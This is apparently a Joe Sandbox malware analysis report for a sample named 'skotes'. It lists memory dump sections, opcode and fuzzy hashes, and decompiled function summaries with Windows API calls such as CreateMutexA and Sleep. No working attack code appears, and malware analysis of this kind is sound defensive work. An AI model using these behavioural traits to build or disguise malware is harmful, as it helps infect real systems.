Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 03ee94d6ab4e75bae0a2506fbdcb9cd8f530bc8243de3422ebb65eb43594c6cc
Instruction ID: 19c0560dcde4fffd6b70db53a422c2b0895ec53b600396a1a4a831d6cbb22b66
Opcode Fuzzy Hash: 03ee94d6ab4e75bae0a2506fbdcb9cd8f530bc8243de3422ebb65eb43594c6cc
Instruction Fuzzy Hash: CC51C171240688AFEB14DF28DC85B9C3BE5EB45308F6046A9F8199B3E1CF79D880CB51

Function 00BB6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BB6EE6), ref: 00BB6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00BB7030
__dosmaperr.LIBCMT ref: 00BB70C5

Part of subcall function 00BB732A: __dosmaperr.LIBCMT ref: 00BB735F

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 76f7d6570f1e5e035aac59edfbcca58e9ae6de1dcf545cfefee14fd4d7534fa1
Instruction ID: 0e88e9f90e2639d061622376d186b37f78ebf6342ed1a78c93a2d7c09d9282c2
Opcode Fuzzy Hash: 76f7d6570f1e5e035aac59edfbcca58e9ae6de1dcf545cfefee14fd4d7534fa1
Instruction Fuzzy Hash: 5D416B71944204ABDB24EFB5DC419FFBBFAEF89300B10456AF856E3610EAB09900DB61

Function 00B89BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89BA8
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3c1c77ebc1a768a336aa0d23fad62bc568ea11b8561242c1f79d7ea4e017cc2f
Instruction ID: 834a304079c08a4860349b0d5b140778cf0459c9d443914046a934fadb552743
Opcode Fuzzy Hash: 3c1c77ebc1a768a336aa0d23fad62bc568ea11b8561242c1f79d7ea4e017cc2f
Instruction Fuzzy Hash: 0E311831A042449BEF08AB68DD8976DBBE2DB86314F2442A9E114A72E5C7769980C751

Function 00B89CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89CDD
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: bf09b7d0e275e0fcd91c469368ff492a0c774fbe8fc460a9cd1da1c8fba564b0
Instruction ID: 424ca0fa2ea71b0a0d939c63d943441a6dd90b3e71cb999b59daeeb15765bb10
Opcode Fuzzy Hash: bf09b7d0e275e0fcd91c469368ff492a0c774fbe8fc460a9cd1da1c8fba564b0
Instruction Fuzzy Hash: F23128316042449BFF18EB6CCCC87ADB7E2DF86314F2846A9E114A73E5D7359980C765

Function 00B89F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89F47
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 554a9564eda6f0014e796674cf4a3fe6038a25daded4959ac059b692a1cd1eef
Instruction ID: 6edcdc818a48268747c84c21453d2c06109df998e912639281cca751b4256ae1
Opcode Fuzzy Hash: 554a9564eda6f0014e796674cf4a3fe6038a25daded4959ac059b692a1cd1eef
Instruction Fuzzy Hash: 91314A316041449BFF18AB78DC897ACB7E2EF85314F2442A9E114EB2E1C735A980C752

Function 00B8A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A07C
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
